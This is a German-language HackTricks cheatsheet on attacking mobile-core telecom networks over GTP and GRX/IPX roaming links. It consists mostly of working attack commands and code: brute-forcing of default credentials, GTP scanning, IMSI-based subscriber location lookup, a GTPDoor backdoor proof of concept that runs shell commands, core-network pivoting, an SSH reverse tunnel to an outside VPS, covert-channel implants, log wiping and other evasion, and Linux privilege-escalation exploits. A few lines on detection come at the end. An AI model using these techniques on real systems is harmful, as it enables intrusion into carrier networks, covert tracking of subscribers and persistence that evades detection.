Telecom-Netzwerkausnutzung (GTP / Roaming-Umgebungen)
Reading time: 6 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
note
Mobile-Core-Protokolle (GPRS Tunneling Protocol – GTP) durchqueren oft semi-vertrauenswürdige GRX/IPX-Roaming-Backbones. Da sie über ungesichertes UDP ohne nahezu keine Authentifizierung laufen, kann in der Regel jeder Zugang innerhalb eines Telekomperimeters direkt auf die Kernsignalisierungsebenen zugreifen. Die folgenden Notizen sammeln offensive Tricks, die in der Wildnis gegen SGSN/GGSN, PGW/SGW und andere EPC-Knoten beobachtet wurden.
1. Recon & Erster Zugriff
1.1 Standard-OSS / NE-Konten
Eine überraschend große Anzahl von Netzwerk-Elementen von Anbietern wird mit fest codierten SSH/Telnet-Benutzern wie root:admin
, dbadmin:dbadmin
, cacti:cacti
, ftpuser:ftpuser
, … ausgeliefert. Eine dedizierte Wortliste erhöht den Erfolg bei Brute-Force-Angriffen erheblich:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
Wenn das Gerät nur eine Management-VRF bereitstellt, pivotieren Sie zuerst über einen Jump-Host (siehe Abschnitt «SGSN Emu Tunnel» unten).
1.2 Host Discovery innerhalb von GRX/IPX
Die meisten GRX-Betreiber erlauben immer noch ICMP Echo über das Backbone. Kombinieren Sie masscan
mit den integrierten gtpv1
UDP-Proben, um GTP-C-Listener schnell zu kartieren:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. Abfragen von Abonnenten – cordscan
Das folgende Go-Tool erstellt GTP-C Create PDP Context Request-Pakete und protokolliert die Antworten. Jede Antwort zeigt den aktuellen SGSN / MME an, der die abgefragte IMSI bedient, und manchmal das besuchte PLMN des Abonnenten.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Wichtige Flags:
--imsi
Zielteilnehmer IMSI--oper
Heimat / HNI (MCC+MNC)-w
Rohpakete in pcap schreiben
Wichtige Konstanten im Binärformat können gepatcht werden, um Scans zu erweitern:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. Codeausführung über GTP – GTPDoor
GTPDoor
ist ein kleiner ELF-Dienst, der UDP 2123 bindet und jedes eingehende GTP-C-Paket analysiert. Wenn die Nutzlast mit einem vorab geteilten Tag beginnt, wird der Rest entschlüsselt (AES-128-CBC) und über /bin/sh -c
ausgeführt. Die stdout/stderr werden in Echo Response-Nachrichten exfiltriert, sodass keine ausgehende Sitzung jemals erstellt wird.
Minimales PoC-Paket (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Detection:
- Jeder Host, der unausgeglichene Echo-Anfragen an SGSN-IPs sendet
- GTP-Version-Flag auf 1 gesetzt, während der Nachrichtentyp = 1 (Echo) – Abweichung von der Spezifikation
4. Pivoting Through the Core
4.1 sgsnemu
+ SOCKS5
OsmoGGSN
liefert einen SGSN-Emulator, der in der Lage ist, einen PDP-Kontext zu einem echten GGSN/PGW herzustellen. Sobald verhandelt, erhält Linux eine neue tun0
-Schnittstelle, die vom roaming Peer erreichbar ist.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
Mit ordnungsgemäßem Firewall-Hair-Pinning umgeht dieser Tunnel nur Signalisierungs-VLANs und landet Sie direkt im Datenverkehr.
4.2 SSH Reverse Tunnel über Port 53
DNS ist in Roaming-Infrastrukturen fast immer offen. Exponieren Sie einen internen SSH-Dienst zu Ihrem VPS, der auf :53 lauscht, und kehren Sie später von zu Hause zurück:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
Überprüfen Sie, ob GatewayPorts yes
auf dem VPS aktiviert ist.
5. Verdeckte Kanäle
Kanal | Transport | Dekodierung | Anmerkungen |
---|---|---|---|
ICMP – EchoBackdoor | ICMP Echo Req/Rep | 4-Byte Schlüssel + 14-Byte Chunks (XOR) | reiner passiver Listener, kein ausgehender Verkehr |
DNS – NoDepDNS | UDP 53 | XOR (Schlüssel = funnyAndHappy ) kodiert in A-Record-Oktetten | überwacht *.nodep Subdomain |
GTP – GTPDoor | UDP 2123 | AES-128-CBC Blob in privatem IE | vermischt sich mit legitimen GTP-C Gesprächen |
Alle Implantate implementieren Watchdogs, die ihre Binärdateien timestomp und sich neu starten, wenn sie abstürzen.
6. Verteidigungsumgehung Cheatsheet
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. Privilegienausweitung auf Legacy NE
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
Reinigungstipp:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Werkzeugkasten
cordscan
,GTPDoor
,EchoBackdoor
,NoDepDNS
– benutzerdefinierte Werkzeuge, die in vorherigen Abschnitten beschrieben sind.FScan
: Intranet TCP-Scans (fscan -p 22,80,443 10.0.0.0/24
)Responder
: LLMNR/NBT-NS bösartiger WPADMicrosocks
+ProxyChains
: leichtgewichtiges SOCKS5-PivotingFRP
(≥0.37) : NAT-Überwindung / Asset-Bridging
Erkennungsideen
- Jedes Gerät außer einem SGSN/GGSN, das Create PDP Context Requests erstellt.
- Nicht-standardisierte Ports (53, 80, 443), die SSH-Handshakes von internen IPs empfangen.
- Häufige Echo-Anfragen ohne entsprechende Echo-Antworten – könnte auf GTPDoor-Beacons hinweisen.
- Hohe Rate von ICMP-Echo-Antwortverkehr mit großen, nicht-null Identifikations-/Sequenzfeldern.
Referenzen
- Palo Alto Unit42 – Infiltration von globalen Telekommunikationsnetzen
- 3GPP TS 29.060 – GPRS Tunneling-Protokoll (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.